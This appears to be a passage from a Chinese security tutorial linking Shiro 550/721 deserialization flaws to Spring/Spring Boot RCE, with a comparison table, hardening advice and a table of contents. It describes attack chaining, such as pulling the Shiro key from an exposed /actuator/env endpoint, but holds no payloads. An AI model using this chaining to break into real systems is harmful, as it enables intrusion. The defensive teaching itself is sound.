Spring/Spring Boot 反序列化 RCE：同样依赖 CC 链、Jackson 链等第三方利用链，Spring Boot 默认集成 Commons Collections 组件，为 Shiro 漏洞提供了"执行环境"；
关联逻辑：Shiro 漏洞（入口） + Commons Collections（执行链） + Spring Boot（组件载体） = RCE 生效，若 Spring Boot 升级 Commons Collections 至 3.2.2+，Shiro 漏洞与 Spring 反序列化 RCE 均会失效。

（2）应用场景高度重叠：Spring Boot 是主要部署载体

集成比例：Shiro 作为轻量级安全框架，约 60% 部署在 Spring Boot 应用中（替代 Spring Security 实现权限控制），因此 Shiro 漏洞的影响范围与 Spring Boot 高度重合；
风险叠加：Spring Boot 的危险配置（如 Actuator 端点未授权访问）会放大 Shiro 漏洞利用效率------攻击者可通过 /actuator/env 获取 Shiro 自定义密钥，降低 Shiro 721 的密钥爆破难度。

（3）技术机理同源：Java 反序列化漏洞通用逻辑

两者的反序列化 RCE 均遵循 Java 反序列化漏洞的核心流程：
可控序列化数据 → 无过滤反序列化 → 触发利用链 → 反射执行命令，仅触发入口不同：

Shiro ：入口固定为 rememberMe Cookie；
Spring/Spring Boot：入口为业务接口、Actuator 端点、文件上传等多样化场景。

2. 核心区别（明确边界，避免混淆）

对比维度	Shiro 550/721 漏洞	Spring/Spring Boot RCE
漏洞根源	Shiro 自身反序列化/密钥/校验顺序缺陷	Spring 组件缺陷/第三方组件缺陷/配置/编码不规范
触发入口	单一入口：`rememberMe` Cookie	多样入口：HTTP 参数/请求头/业务接口/Actuator 端点
利用依赖	强依赖第三方利用链（如 CC 链）	部分场景无需第三方依赖（如 SPEL 注入/参数绑定）
授权要求	550 无需授权，721 需授权（合法 Cookie）	部分场景无需授权（如 Spring4Shell），部分需授权
组件归属	独立安全框架（Apache Shiro）	Spring 生态（核心+扩展组件）
修复核心	升级 Shiro + 自定义密钥 + 反序列化白名单	升级 Spring + 加固配置 + 安全编码 + 组件升级

3. 联合防御策略（覆盖两者风险）

结合关联特性与差异，制定"一防多效"的联合防御方案：

组件版本全量升级（核心防御） ：
- Spring Boot：升级至 2.7.x+（修复 Spring4Shell 等核心漏洞）；
- Shiro：升级至 1.4.1+（同时修复 550/721 漏洞）；
- 第三方组件：Commons Collections 升级至 3.2.2+、Log4j2 升级至 2.17.0+、Fastjson 升级至 1.2.83+；
Shiro 专项加固 ：
- 自定义随机 AES 密钥（通过环境变量注入，禁止硬编码）；
- 关闭非必要的 rememberMe 功能（减少攻击入口）；
- 对 rememberMe Cookie 添加签名校验（防止篡改，针对 721）；
Spring Boot 专项加固 ：
- 加固 Actuator 端点（禁用 env/jolokia 等危险端点，开启认证）；
- 禁用远程调试，关闭无用端口，配置防火墙限制访问；
- 过滤恶意输入（SPEL 关键字、命令分隔符、特殊 URL 字符）；
序列化防护（通用防御） ：
- 限制反序列化类范围（仅允许白名单类反序列化）；
- 替换危险序列化组件（如用 Jackson 替代 Fastjson，关闭自动类型推断）；
部署层防护 ：
- 部署 WAF 拦截恶意请求（Shiro 恶意 Cookie、SPEL 注入请求、CC 链特征）；
- 开启日志审计，监控异常反序列化操作与 rememberMe Cookie 篡改行为。

五、总结

Spring RCE 核心源于参数绑定缺陷、SPEL 注入、反序列化缺陷，Spring Boot RCE 是组件漏洞、危险配置与编码缺陷的叠加，两者部分场景无需第三方依赖即可触发；
Shiro 550 是"未授权反序列化 RCE"（硬编码密钥+校验顺序缺陷），Shiro 721 是"授权后反序列化 RCE"（随机密钥+Cookie 篡改/爆破），两者均依赖第三方利用链（如 CC 链）；
两者的核心关联是"Commons Collections 组件依赖"与"Spring Boot 部署场景重叠"，防御时可通过"升级组件版本+加固配置+序列化防护"实现"一防多效"；
安全防护的核心是"全栈覆盖"------不仅要修复单一框架漏洞，更要关注组件依赖风险、配置风险与编码风险，建立"版本管理+安全编码+部署防护"的三重防线。

在 Java 应用安全中，"漏洞连锁反应"多源于组件依赖与配置不当，仅修复单个漏洞无法根治风险，需建立全局安全思维，实现从开发到部署的全生命周期防护。

【网安基础】--Spring/Spring Boot RCE 解析与 Shiro 反序列化漏洞的关联（包括简易加密方式梳理）

目录

Spring/Spring Boot RCE 解析及与 Shiro 反序列化漏洞的核心关联

一、Spring 框架 RCE 漏洞深度解析

1. 参数绑定缺陷：Spring Core RCE（CVE-2022-22965，Spring4Shell）

（1） 核心触发条件（缺一不可）

（2） 底层利用原理（完整技术链路）

（3） 典型恶意请求示例

2. SPEL 表达式注入：Spring 生态共性 RCE（底层原理+高危场景）

（1） SPEL 表达式执行原理

（2） 高危场景1：Spring Cloud Function RCE（CVE-2022-22963）

（3） 高危场景2：Spring Data Commons RCE（CVE-2018-1273）

（4） 开发者编码缺陷导致的 SPEL 注入（典型危险代码）

3. 反序列化缺陷：Spring 应用衍生 RCE（依赖第三方组件+技术链路）

（1） 核心依赖组件：Apache Commons Collections（CC 链）

（2） 其他第三方组件：Jackson/Fastjson

Spring RCE 漏洞核心归纳（深度版）

二、Spring Boot RCE 漏洞深度解析

1. 依赖组件漏洞（核心场景，高危）

2. 危险配置与 Actuator 端点滥用（深度细化）

（1） Actuator 端点未授权访问（高危风险点）

（2） 其他不安全默认配置

3. 开发者编码不规范（典型场景+代码缺陷）

（1） 命令注入（最典型场景）

（2） 文件上传漏洞（间接触发 RCE）

三、对称加密与非对称加密核心区别（含公钥私钥详解）

（一）核心概念定义

1. 对称加密（Symmetric Encryption）

2. 非对称加密（Asymmetric Encryption）

3. 公钥与私钥（非对称加密核心组件）

（1）公钥（Public Key）

（2）私钥（Private Key）

（二）对称加密与非对称加密核心区别对照表

（三）核心工作流程对比

1. 对称加密工作流程（以 AES 为例）

2. 非对称加密工作流程（以 RSA 为例）

（1）数据加密传输场景

（2）数字签名验签场景（身份认证）

（四）实际应用：两者互补使用

（五）核心总结

四、Shiro 漏洞深度解析（550/721核心区别+对称加密原理）

1. Shiro 550（CVE-2016-4437）：默认密钥导致的未授权反序列化 RCE

（1） 核心漏洞根源（三重缺陷叠加）

（2） 对称加密（AES）核心原理与利用流程

（3） 核心特点与影响范围

（4） 自定义密钥配置示例（修复后推荐配置）

2. Shiro 721（CVE-2019-12422）：随机密钥下的授权后反序列化 RCE

（1） 核心漏洞根源（反序列化缺陷未完全修复）

（2） 利用条件与技术链路（难度显著高于 550）

（3） 核心特点与影响范围

3. Shiro 550 与 Shiro 721 核心区别

4. Shiro 通用 rememberMe 处理流程

五、Shiro 漏洞与 Spring/Spring Boot RCE 的核心关联

1. 核心关联点（技术与场景绑定）

（1） 组件依赖共生：CC 链是共同执行基础

（2） 应用场景高度重叠：Spring Boot 是主要部署载体

（3） 技术机理同源：Java 反序列化漏洞通用逻辑

2. 核心区别（明确边界，避免混淆）

3. 联合防御策略（覆盖两者风险）

五、总结

（1）核心触发条件（缺一不可）

（2）底层利用原理（完整技术链路）

（3）典型恶意请求示例

（2）高危场景1：Spring Cloud Function RCE（CVE-2022-22963）

（3）高危场景2：Spring Data Commons RCE（CVE-2018-1273）

（4）开发者编码缺陷导致的 SPEL 注入（典型危险代码）

（1）核心依赖组件：Apache Commons Collections（CC 链）

（2）其他第三方组件：Jackson/Fastjson

（2）其他不安全默认配置

（1）命令注入（最典型场景）

（2）文件上传漏洞（间接触发 RCE）

（1）核心漏洞根源（三重缺陷叠加）

（2）对称加密（AES）核心原理与利用流程

（3）核心特点与影响范围

（4）自定义密钥配置示例（修复后推荐配置）

（1）核心漏洞根源（反序列化缺陷未完全修复）

（2）利用条件与技术链路（难度显著高于 550）

（3）核心特点与影响范围

4. Shiro 通用 `rememberMe` 处理流程

（1）组件依赖共生：CC 链是共同执行基础

（2）应用场景高度重叠：Spring Boot 是主要部署载体

（3）技术机理同源：Java 反序列化漏洞通用逻辑